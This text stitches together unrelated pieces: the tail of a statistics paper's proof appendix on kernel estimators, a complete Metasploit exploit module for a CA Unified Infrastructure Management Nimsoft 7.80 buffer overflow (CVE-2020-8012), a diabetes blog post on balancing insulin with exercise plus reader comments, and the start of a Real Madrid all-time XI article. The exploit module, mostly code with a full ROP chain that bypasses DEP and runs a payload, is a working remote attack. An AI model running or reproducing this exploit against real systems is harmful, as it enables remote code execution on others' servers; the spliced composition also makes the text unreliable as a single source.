\Delta \hat r_i \hat f_i &=& \frac{1}{(n-1)g^p} \sum_{k\neq i}
\left\{Y_k L\left( (W_i-W_k)g^{-1} \right) -\mathbb{E}\left[Y L\left(
(W_i - W) g^{-1} \right)\right]\right\}\\ && + \mathbb{E}\left[r(W)
g^{-p} L\left( (W_i-W) g^{-1} \right)\right] - r(W_i) f(W_i)\\ &=&
\Delta_{1i} + \Delta_{2i}.\end{aligned}$$ The uniform continuity of $r(\cdot)f(\cdot)$ implies $\sup_i|\Delta_{2i}|=o_p(1)$ by Lemma \[Bochner\]. [For $\sup_i|\Delta_{1i}|$, we use empirical process tools. Let us introduce some notation. Let $\mathcal{G}$ be a class of functions of the observations with envelope function $G$ and let $$J(\delta,\mathcal{G}, L^2 )=\sup_Q \int_0^\delta \sqrt{1+\ln N
(\varepsilon \|G\|_{2},\mathcal{G}, L^2(Q) ) } d\varepsilon
,\qquad 0<\delta\leq 1,$$ denote the uniform entropy integral, where the supremum is taken over all finitely discrete probability distributions $Q$ on the space of the observations, and $\| G \|_{2}$ denotes the norm of $G$ in $L^2(Q)$. Let $Z_1,\cdots,Z_n$ be a sample of independent observations and let $$\mathbb{G}_n g=\frac{1}{\sqrt{n}}\sum_{i=1}^n \gamma(Z_i) , \qquad \gamma \in\mathcal{G}$$ be the empirical process indexed by $\mathcal{G}$. If the covering number $N (\varepsilon ,\mathcal{G}, L^2(Q) ) $ is of polynomial order in $1/\varepsilon,$ there exists a constant $c>0$ such that $J(\delta,\mathcal{G}, L^2 )\leq c \delta \sqrt{\ln(1/\delta)}$ for $0<\delta<1/2.$ Now if $\mathbb{E}\gamma^2 < \delta^2 \mathbb{E}G^2$ for every $\gamma$ and some $0<\delta <1$, and $\mathbb{E}G^{(4\upsilon-2)/(\upsilon-1)}<\infty$ for some $\upsilon>1$, under mild additional measurability conditions, Theorem 3.1 of [@Vaart2011] implies $$\label{vwww0}
\sup_{\mathcal{G}}|\mathbb{G}_n \gamma| = J(\delta,\mathcal{G}, L^2
)\left( 1 + \frac{ J(\delta^{1/\upsilon},\mathcal{G}, L^2 )}{\delta^2
\sqrt{n} }
\frac{\|G\|_{(4\upsilon-2)/(\upsilon-1)}^{2-1/\upsilon}}{\|G\|_{2}^{2-1/\upsilon}}
\right)^{\upsilon/(2\upsilon-1)} \|G\|_2 O_p(1),$$ where $\|G\|_{2}^2 = \mathbb{E}G^2$ and the $ O_p(1)$ term is independent of $n.$ Note that the family $\mathcal{G}$ could change with $n$, as soon as the envelope is the same for all $n$. [We apply this result to the family of functions $\mathcal{G} = \{ Y L ((W -
w)/g) : w\in\mathbb{R}^p\}$ for a sequence $g$ that converges to zero and the envelope $G(Y,W)=Y\sup_{w\in\mathbb{R}^p} L(w).$ Its entropy number is of polynomial order in $1/\varepsilon$, independently of $n$, as $L(\cdot)$ is of bounded variation, see for instance [@Vaart1996]. Now for any $\gamma \in \mathcal{G}$, $
\mathbb{E} \gamma ^2(Y,W) \leq C g^p \mathbb{E} G^2(Y,W), $ for some constant $C$. Let $\delta = g^{3p/7},$ so that $ \mathbb{E} \gamma
^2(Y,W) \leq C^\prime \delta^2 \mathbb{E} G^2(Y,W), $ for some constant $C ^\prime$ and $\upsilon =3/2$, which corresponds to $\mathbb{E}G^{8}<\infty$ that is guaranteed by our assumptions. The bound in (\[vwww0\]) thus yields $$\sup_{\mathcal{G}}\left|\frac{1}{g^p \sqrt{n}} \; \mathbb{G}_n \gamma\right| = \frac{ \ln^{1/2}(n)}{g^{4p/7} \sqrt{n}}
\left[ 1 + n^{-1/2}g ^{-4p/7}\ln^{1/2}(n) \right]^{3/4} O_p(1) ,$$ where the $ O_p(1)$ term is independent of $n$. Since $n^{7/8} g^p/\ln n \rightarrow
\infty,$ the expected result follows. ]{} ]{}
We have $$\begin{aligned}
\hat{u}_{i}^{*}\hat{f}_{i} & = & \dfrac{1}{n-1}\sum_{k\neq
i}\left(Y_{i}^{*}-Y_{k}^{*}\right)L_{nik}\\ & = &
u_{i}^{*}\hat{f}_{i}-\dfrac{1}{n-1}\sum_{k\neq
i}u_{k}^{*}L_{nik}+\dfrac{1}{n-1}\sum_{k\neq
i}\left(\hat{r}_{i}-\hat{r}_{k}\right)L_{nik}\end{aligned}$$ where $$\begin{aligned}
\dfrac{1}{n-1}\sum_{k\neq i}\left(\hat{r}_{i}-\hat{r}_{k}\right)L_{nik} & = & \dfrac{1}{n-1}\sum_{k\neq i}\left(r_{i}-r_{k}\right)L_{nik}
+\left(\hat{r}_{i}-r_{i}\right)\hat{f}_{i}\\
& & -\dfrac{1}{\left(n-1\right)^{2}\hat{f}_{k}}\sum_{k\neq i}\sum_{k^{\prime}\neq k}\left(r_{k^{\prime}}-r_{k}\right)L_{nkk^{\prime}}L_{nik}\\
& & -\dfrac{1}{\left(n-1\right)^{2}\hat{f}_{k}}\sum_{k\neq i}\sum_{k^{\prime}\neq k}u_{k^{\prime}}L_{nkk^{\prime}}L_{nik}.
$$ By Lemma \[unif\_omeg\] and the fact that $f(\cdot)$ is bounded away from zero, deduce that $\sup_i |\hat{r}_{i}-r_{i}| = o_{p}\left(1\right).$ From this and applying several times the arguments in the proof of Lemma \[unif\_omeg\] we obtain $$\dfrac{1}{n-1}\sum_{k\neq i}\left(\hat{r}_{i}-\hat{r}_{k}\right)L_{nik} = o_{p}\left(1\right).$$ On the other hand, $$\begin{aligned}
\left|\dfrac{1}{n-1}\sum_{k\neq i}u_{k}^{*}L_{nik}\right| & \leq &\left|\dfrac{1}{n-1}\sum_{k\neq i}\eta_{k} u_k L_{nik}\right| +\dfrac{\sup_j |\hat{r}_{j}-r_{j}|}{n-1}\sum_{k\neq i}|\eta_k| \bf{L}_{nik}\\
&=& o_{p}\left(1\right),\end{aligned}$$ where we used again the arguments for $\Delta_{1i}$ in the proof of Lemma \[unif\_omeg\] (here with $\eta_{k} u_k$ and $|\eta_k|$ in the place of $Y_k$) to derive the last rate.
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
![Empirical rejections under $H_0$ as a function of the bandwidth, $n=100$ \[fig:LevelCont\]](grapheContLevelq3quad.eps "fig:") ![Empirical rejections under $H_0$ as a function of the bandwidth, $n=100$ \[fig:LevelCont\]](grapheContLevelq5quad.eps "fig:")
![Empirical rejections under $H_0$ as a function of the bandwidth, $n=100$ \[fig:LevelCont\]](grapheContLevelq7quad.eps "fig:") ![Empirical rejections under $H_0$ as a function of the bandwidth, $n=100$ \[fig:LevelCont\]](grapheContLevelLegend.eps "fig:")
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![Empirical power curves for a quadratic alternative, $n=100$ \[fig:PowerContQs\]](grapheContPowerq3quad.eps "fig:") ![Empirical power curves for a quadratic alternative, $n=100$ \[fig:PowerContQs\]](grapheContPowerq5quad.eps "fig:")
![Empirical power curves for a quadratic alternative, $n=100$ \[fig:PowerContQs\]](grapheContPowerq7quad.eps "fig:") ![Empirical power curves for a quadratic alternative, $n=100$ \[fig:PowerContQs\]](grapheContPowerLegend.eps "fig:")
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![Empirical power curves for a quadratic alternative, $q=5$ \[fig:PowerContNs\]](grapheContPowern50quad.eps "fig:") ![Empirical power curves for a quadratic alternative, $q=5$ \[fig:PowerContNs\]](grapheContPowern200quad.eps "fig:")
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----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
![Empirical power curves for linear and sine alternative, $n=100$ and $q=5$[]{data-label="fig:PowerContAlter"}](grapheContPowerAlterLinear.eps "fig:") ![Empirical power curves for linear and sine alternative, $n=100$ and $q=5$[]{data-label="fig:PowerContAlter"}](grapheContPowerAlterSinus.eps "fig:")
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-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
![Empirical rejection under $H_{0}$ as a function of the bandwidth, $X$ Bernoulli and $n=100$ \[fig:LevelDisc\]](grapheDiscLevel "fig:") ![Empirical rejection under $H_{0}$ as a function of the bandwidth, $X$ Bernoulli and $n=100$ \[fig:LevelDisc\]](grapheDiscLevelLegend "fig:")
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![Empirical power curves, $X$ Bernoulli and $n=100$ \[fig:PowerDisc\]](grapheDiscPowerQuadratic "fig:") ![Empirical power curves, $X$ Bernoulli and $n=100$ \[fig:PowerDisc\]](grapheDiscPowerSinus "fig:") ![Empirical power curves, $X$ Bernoulli and $n=100$ \[fig:PowerDisc\]](grapheDiscPowerLegend "fig:")
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|
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
probe.
Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
directory_list probe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'wetw0rk' # Vulnerability Discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)
[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],
[ 'PACKETSTORM', '156577' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'AUTORUNSCRIPT' => 'post/windows/manage/migrate'
},
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => ARCH_X64,
'Targets' =>
[
[
'Windows Universal (x64) - v7.80.3132',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',
'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]
}
],
],
'Privileged' => true,
'Notes' => { 'Stability' => [ CRASH_SAFE ] },
'DisclosureDate' => 'Feb 05 2020',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
Opt::RPORT(48000),
]
)
end
# check: there are only two prerequisites to getting code execution. The version number
# and access to the directory_list probe. The easiest way to get this information is to
# ask nicely ;)
def check
connect
sock.put(generate_probe('get_info', ['interfaces=0']))
response = sock.get_once(4096)
list_check = -1
begin
if target['Version'].in? response
print_status("Version #{target['Version']} detected, sending directory_list probe")
sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])
end
ensure
disconnect
end
if list_check == 0
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
super
connect
shellcode = make_nops(500)
shellcode << payload.encoded
offset = rand_text_alphanumeric(1000)
offset += "\x0f" * 33
heap_flip = [target.ret].pack('<Q*')
alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain
rop_chain = generate_rsp_chain # Stage1: Stack alignment
rop_chain += rand_text_alphanumeric(631) # Adjust for second stage
rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub
rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail
rop_chain.length
))
rop_chain += "kernel32.dll\x00"
rop_chain += "VirtualProtect\x00"
trigger = "\x10" * (8000 - (
offset.length +
heap_flip.length +
alignment.length +
rop_chain.length +
shellcode.length
)
)
buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger
exploit_packet = generate_probe(
'directory_list',
["directory=#{buffer}"]
)
sock.put(exploit_packet)
disconnect
end
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
def generate_rsp_chain
rop_gadgets = [0x0000000140018c42] * 20 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400af237, # pop rdi ; ret
0x0000000000000007, # alignment for rsp
0x0000000140025dab
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
return rop_gadgets.pack('<Q*')
end
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
def generate_rop_chain
# RAX -> HMODULE GetModuleHandleA(
# ( RCX == *module ) LPCSTR lpModuleName,
# );
rop_gadgets = [0x0000000140018c42] * 15 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x00000000000009dd, # offset to "kernel32.dll"
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)
0x00000001400d1161
] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
rop_gadgets += [0x0000000140018c42] * 17 # ret
# RAX -> FARPROC GetProcAddressStub(
# ( RCX == &addr ) HMODULE hModule,
# ( RDX == *module ) lpProcName
# );
rop_gadgets += [
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x0000000000000812, # offset to "virtualprotectstub"
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]
# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret
rop_gadgets += [
0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 6 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x000000014015e318
] # GetProcAddressStub (0x00000000014015e338-20)
rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
rop_gadgets += [0x0000000140018c42] * 17 # ret
# RAX -> BOOL VirtualProtectStub(
# ( RCX == *shellcode ) LPVOID lpAddress,
# ( RDX == len(shellcode) ) SIZE_T dwSize,
# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
# ( R9 == *writeable location ) PDWORD lpflOldProtect,
# );
rop_gadgets += [
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
0x000000014013d651, # pop r12 ; ret
0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400eba74
] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000
]
rop_gadgets += [
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x000000000000059f, # (offset to *shellcode)
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
rop_gadgets += [
0x00000001400496a2, # pop rdx ; ret
0x00000000000005dc
] # dwSize
rop_gadgets += [
0x00000001400bc39c, # pop r8 ; ret
0x0000000000000040
] # flNewProtect
rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
rop_gadgets += [0x0000000140018c42] * 17 # ret
rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]
# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
rop_gadgets += [0x0000000140018c42] * 20 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x0000000000000317, # (offset to our shellcode)
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400a9747] # jmp rax
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)
return rop_gadgets.pack('<Q*')
end
# parse_listing: once the directory_list probe is sent we're returned a directory listing
# unfortunately it's hard to read this simply "decodes" it
def parse_listing(response, directory)
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
i = 0
begin
dirlist = response.split('\x00')[0].split("\x00")
index = dirlist.index('entry') + 3
final = dirlist[index..-1]
rescue StandardError
print_error('Failed to gather directory listing')
return -1
end
print_line("\n Directory of #{directory}\n")
check = 0
name = 0
ftime = 0
size = 0
ftype = 0
while i < final.length
if name == 1
unless final[i].to_i > 0
result['name'] = final[i]
name = 0
check += 1
end
end
if size >= 1
if size == 3
result['size'] = final[i]
size = 0
check += 1
else
size += 1
end
end
if ftype >= 1
if ftype == 3
result['type'] = final[i]
ftype = 0
check += 1
else
ftype += 1
end
end
if ftime >= 1
if ftime == 3
result['date'] = final[i]
ftime = 0
check += 1
else
ftime += 1
end
end
if final[i].include? 'name'
name = 1
end
if final[i].include? 'size'
size = 1
end
if final[i].include? 'size'
ftype = 1
end
if final[i].include? 'last_modified'
ftime = 1
end
i += 1
next unless check == 4
if result['type'] == '2'
result['type'] = ''
else
result['type'] = '<DIR>'
result['size'] = ''
end
begin
time = Time.at(result['date'].to_i)
timestamp = time.strftime('%m/%d/%Y %I:%M %p')
rescue StandardError
timestamp = '??/??/???? ??:?? ??'
end
print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))
check = 0
end
print_line('')
return 0
end
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
# craft probes in order for the controller to accept any input.
def generate_probe(probe, args)
client = "#{rand_text_alphanumeric(14)}\x00"
packet_args = ''
probe += "\x00"
for arg in args
c = ''
i = 0
while c != '='
c = arg[i]
i += 1
end
packet_args << "#{arg[0, (i - 1)]}\x00"
packet_args << "1\x00#{arg[i..-1].length + 1}\x00"
packet_args << "#{arg[i..-1]}\x00"
end
packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
packet_body = "mtype\x00" # mtype
packet_body << "7\x004\x00100\x00" # 7.4.100
packet_body << "cmd\x00" # cmd
packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)
packet_body << probe # probe
packet_body << "seq\x00" # seq
packet_body << "1\x002\x000\x00" # 1.2.0
packet_body << "ts\x00" # ts
packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)
packet_body << "frm\x00" # frm
packet_body << "7\x00#{client.length}\x00" # 7.(length of client)
packet_body << client # client address
packet_body << "tout\x00" # tout
packet_body << "1\x004\x00180\x00" # 1.4.180
packet_body << "addr\x00" # addr
packet_body << "7\x000\x00" # 7.0
#
# probe packet arguments (dynamic)
# argument
# length of arg value
# argument value
packet_header << "#{packet_body.length} #{packet_args.length}\r\n"
probe = packet_header + packet_body + packet_args
return probe
end
end
|
Living with diabetes blog
Diabetes: Balancing your insulin, medication and exercise
Controlling diabetes is a balancing act. You must carefully balance food, activity (exercise), and medications and insulin. All three are equally important to your health, and each can increase or decrease your blood glucose levels. Many of our readers ask if they need to adjust their insulin or medication before exercise.
Physical activity, or exercise, includes anything that gets you moving, such as walking, dancing or working in your garden. Staying active improves your overall health. Regular exercise helps you:
Better control glucose levels
Increase overall fitness
Feel more energetic
Improve flexibility
Improve blood pressure
Lower your risk of developing cardiovascular disease
Improve your appearance, weight and overall sense of well-being
Insulin and diabetes medications lower your blood glucose. The amount of medication you need is unique to you. The time of day you take your medication and how much you take are important factors in allowing your medication to work when your blood glucose rises.
As you make exercise a part of your life, your diabetes health care provider may change or adjust your medications based on the results recorded in your diabetes record book. It's a balancing act — if you eat more than your meal plan allows, your blood glucose level may rise, or, if you exercise less than usual, your blood glucose level may rise.
Several factors affect your blood glucose during activity or exercise:
Your physical condition
Length of activity or exercise
Type of activity or exercise
Blood glucose level prior to exercising
When you're more active than usual, your blood glucose may drop too low, causing low blood glucose (hypoglycemia). It's important that you prepare ahead of time. If you're taking insulin and you know ahead of time when you will exercise, decrease your rapid or short insulin meal dose before the activity instead of taking extra food during the activity. Talk with your diabetes health care team for help making the decision about how much to decrease your insulin dose.
Also, avoid injecting insulin into your arms and legs that you will use during your activity or exercise. An abdominal injection site may help lower the risk for hypoglycemia associated with exercise.
Some additional tips:
Test your blood glucose before, during and after the activity to monitor how it affects your blood glucose level. This is important when beginning or changing your exercise program.
When your insulin is peaking, exercise isn't recommended, as it may lead to low blood glucose. Before you exercise, take less insulin or eat more food at mealtime or as a snack.
If your blood glucose is less than 70 mg/dL (3.8 mmol/L), take 1 to 2 carbohydrate choices and make sure your blood glucose is in goal range before you begin the activity or exercise.
If you were in goal range before the activity and the activity drops your blood glucose more than 30 to 50 mg/dL (1.6 to 2.7 mmol/L) or hypoglycemia occurs — blood glucose less than 70 mg/dL (3.8 mmol/L) — stop exercising and take 1 carbohydrate choice. Recheck your blood glucose after 15 minutes and repeat until your blood sugar returns to a safe range. Then, return to your exercise and take 1 carbohydrate every 30 to 60 minutes while you're active.
Don't exercise if your blood glucose is greater than 300 mg/dL (16 mmol/L). Exercising with blood glucoses over 300 mg/dL (16 mmol/L) can raise your blood glucose even more, because exercise causes the body to release or produce extra glucose and there won't be enough insulin available to use it.
With harder or more strenuous activity, even if you're within goal range or above goal, 2 carbohydrate choices may be necessary to prevent low blood glucose. Ask your health care provider if you have questions about this.
For longer duration or very strenuous activities, such as downhill/cross country skiing or long bike rides, take 1 carbohydrate choice every 30 to 60 minutes during the activity. Check your blood glucose every 1 to 2 hours during the activity.
It isn't recommended that you be active or exercise when you're sick.
We generally don't recommend exercising before bed due to the risk of delayed post-exercise hypoglycemia. If evening exercise is necessary, consider eating an extra carbohydrate after exercise to reduce the risk of hypoglycemia while sleeping.
Remember, it's essential to check with your health care provider if you've been sedentary and want to begin an exercise routine.
Didn't answer my question.
I am a thin individual with type 2 diabetes, caused by a whipple surgery. If my blood sugar is 94 before breakfast and I take the prescribed amount of insulin (4 units) and then exercise within I/2 hour after breakfast, my blood levels will drop drastically after the exercise. Should I eat more carbs and take less insulin, wait about an hour and then exercise?
Mark Swartz
November 9, 2016 1:42 p.m.
This information was so helpful thank
Esther
November 8, 2016 5:27 p.m.
Please talk about high blood sugars. I struggle with them daily even with an insulin pump.
Victoria
November 8, 2016 11:34 a.m.
Great info.
Stavros
September 9, 2016 11:37 p.m.
Thanks for the great content. you have helped me fill knowledge gaps. Thanks
Melissa Tower
March 11, 2016 12:51 p.m.
Very helpful. I'm 69 years old and a type1 diabetic since age 19. We bike, kayak and/or walk everyday. What make it difficult to maintain proper levels, is not the activity, but what that activity may entail. For example, we went kayaking and needed to carry two kayaks 100 yards to reach the water and then back to the car after 2 hours in the water. That was too much and blood sugar level dropped dangerously low. Yes I had my moniter and plenty of snacks but not for that activity. Energy conservation is also very important. Get the details about any activity and skip those that may zap you before you begin. Conserve energy and use it to have fun!!
Frank M
March 18, 2015 5:03 a.m.
good article. useful
joseph kirema
March 17, 2015 4:00 p.m.
Thank you Peggy,
I have been type 1 diabetic for47 years. I agree with what you have said. And you said it very well. I am passing this onto my husband to read, so he better understands.
Ann
Ann Pownall
March 17, 2015 1:53 p.m.
Exercise is like medication. This is where it gets complicated for people on insulin or on other medications that can produce hypoglycemia. While it is true that regular exercise helps you better control glucose levels, lows before the insulin doses are adjusted can assert themselves after just a few days of regular exercise. This is where you recommend that “your diabetes health care provider may change or adjust your medications based on the results recorded in your diabetes record book.” From experience, I can say that it is hard to anticipate which night this will happen--and it always seems to be at night when it happens--unless you anticipate needing less insulin before you actually experience a low. Recall also that most physicians are not available to review a record book at the drop of a hat. There has to be something that can tip a patient off before having to risk whether the low will wake them up. Any ideas?
Barbara
March 17, 2015 12:09 p.m.
Is there a certain amount of glucose in the bloodstream that causes problems
Linda bonebrake
March 17, 2015 11:45 a.m.
Balancing exercise with insulin injections is truly a challenge that can cause a great deal of anxiety. The fact is that it is not a normal way to live, but what choice does one have? One must stay active as possible and try to manage the ups and downs of blood sugar fluctuations. Perhaps one day, easier methods of blood sugar monitoring will be made possible and other methods of regulating glucose levels will help people with this condition live an easier life. Better yet, perhaps, one day, diabetes will be eradicated.
George
November 13, 2013 9:50 p.m.
I think the hard part is getting to admit you have it and that as young as you are people of all ages and fitness levels get. Its a mental nightmare at first. Lean on friends and family.You are not alone! With care,diet,meds,exercise,and patience. LIFE WILL BE GOOD!
Rocky
September 29, 2013 8:34 a.m.
You read a lot about exercise and insulin, but I often wonder what adjustments should a DM non-insulin dependent should make prior to exercising? Plus, what are good source of 1 or 2 carbohydrates intake?
Minnie
September 22, 2013 2:57 p.m.
must disagree with your advice about not exercising before bed. in my opinion their should never be any type of discouragement to exercising. benefits from any exercise far outweighs possible side effects. of course you can find extreme situations where their are adverse affects but for the 99.9% who will benefit their should be overwhelming encouragement. i credit exercising (and diet) with going from a a1c of 12 to an a1c of 5.5 without any medication.i'm not any kind of fitness freak at still over 275 lbs. i have been able to swim(very slow pace) and walk. just an average american who let their weight get away but through peoples encouragement to exercise even a little when i could good things have been happening for over a year.
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Real Madrid is arguably the most successful football club of all time. They’ve been European champions a record 12 times and Spanish champions a record 33 times across their illustrious history.
And over the years, they’ve had a so-called Galactico culture. Throughout their history, Real Madrid have always boasted some of the greatest superstars of world football in their team. It is a trend that began in the 1950s, and is still going strong today.
This makes selecting an all time Real Madrid XI a very challenging, yet enjoyable task. And that’s precisely what we’ve endeavoured to do here!
Formation
It is very tempting to go with the 3-2-5 (or even 3-3-1-3) formation employed by the great Real Madrid squad that dominated the game in the late 1950s. But despite the unparalleled success of Di Stefano and co., we’re opting for the more modern system of 4-2-3-1, something that has been regularly employed by Real Madrid teams over the past couple of decades.
Goalkeeper
The Contenders : Juan Alonso, Mariano García Remon, Iker Casillas
GK : Iker Casillas
This is undoubtedly one of the easiest choices in the line up. Iker Casillas is a goalkeeping legend, having won everything with both club and country. Coming up through the youth ranks, he was with the club for 16 seasons. He notched up 725 appearances for the club, second only to Raul, 3 Champions League titles, including as club captain in 2014, and 5 La Liga titles.
The Back 4
The Contenders : Jose Santamaria, Jose Antonio Camacho, Chendo, Fernando Hierro, Fabio Cannavaro, Roberto Carlos, Sergio Ramos.
Some really illustrious names vying for the 4 defensive spots – Santamaria was the rock at the back for the great Real Madrid team of the 50s. Hierro and Ramos have been great talismans and leaders for Real Madrid over very long periods of time, and both have had incredible footballing skills beyond just defending. Camacho had been a rock at left back for Real for 18 years, but he’s fighting for the spot with the more explosive Roberto Carlos, who spent 11 years at the club. Fabio Cannavaro was among the greatest defenders of his time, and even has a Ballon d’Or to show for it. However, he spent just 4 years at the club, a meagre number compared to his rivals here.
So who make it to the back 4?
LB : Roberto Carlos
The robust Brazilian left-back has won 4 league titles and 3 Champions League titles in his 11 years at Real Madrid. As an attacking left back, there are few equals throughout history. Known for his pace, power and moments of sheer brilliance every now and then, Roberto Carlos just edges out the more solid Camacho for the left-back spot.
